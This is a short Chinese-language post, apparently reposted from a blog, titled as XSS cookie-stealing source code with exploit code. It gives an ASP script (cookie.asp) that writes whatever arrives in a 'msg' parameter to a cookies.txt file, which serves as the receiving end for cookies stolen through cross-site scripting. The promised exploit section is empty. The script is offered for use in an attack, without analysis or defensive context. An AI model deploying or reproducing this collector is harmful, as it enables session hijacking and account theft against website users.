xss获取cookie源码附利用代码

  保存为cookie.asp

<% 
testfile=Server.MapPath("cookies.txt") 
msg=Request("msg") 
set fs=server.CreateObject("scripting.filesystemobject") 
set thisfile=fs.OpenTextFile(testfile,8,True,0) 
thisfile.WriteLine(""&msg& "") 
thisfile.close 
set fs = nothing 
%>

  

利用代码:

转载于:https://www.cnblogs.com/68xi/p/9327835.html

你可能感兴趣的:(xss获取cookie源码附利用代码)